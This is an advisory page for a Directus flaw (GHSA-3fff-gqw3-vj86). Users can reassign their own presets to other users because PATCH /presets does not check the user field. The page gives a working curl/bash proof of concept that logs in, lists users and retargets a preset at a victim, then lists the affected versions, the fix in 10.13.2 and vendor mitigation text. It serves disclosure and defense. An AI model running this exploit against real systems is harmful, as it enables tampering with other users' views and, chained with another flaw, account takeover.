GHSA-3fff-gqw3-vj86
MEDIUMDirectus has an insecure object reference via PATH presets
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
directusnpmDescription
Impact
Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.
This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.
PoC
To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.
- Create a preset for a collection.
Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.
TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="[email protected]" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"
# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
-H 'Content-Type: application/json' \
-b "${root_dir}/static/attacker_directus_session_token" \
--data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}" | jq -r '.data.id')
- Modify the presets via
PATCH /presets/{id}.
With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.
curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
-H 'Content-Type: application/json' \
-b "${root_dir}/static/attacker_directus_session_token" \
--data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"[email protected]\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
Notes:
Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.
The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.
The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.
When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | directus | all versions | 10.13.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for directus. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update directus to 10.13.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3fff-gqw3-vj86 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3fff-gqw3-vj86 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3fff-gqw3-vj86. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3fff-gqw3-vj86 in your dependencies?
O3 detects GHSA-3fff-gqw3-vj86 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.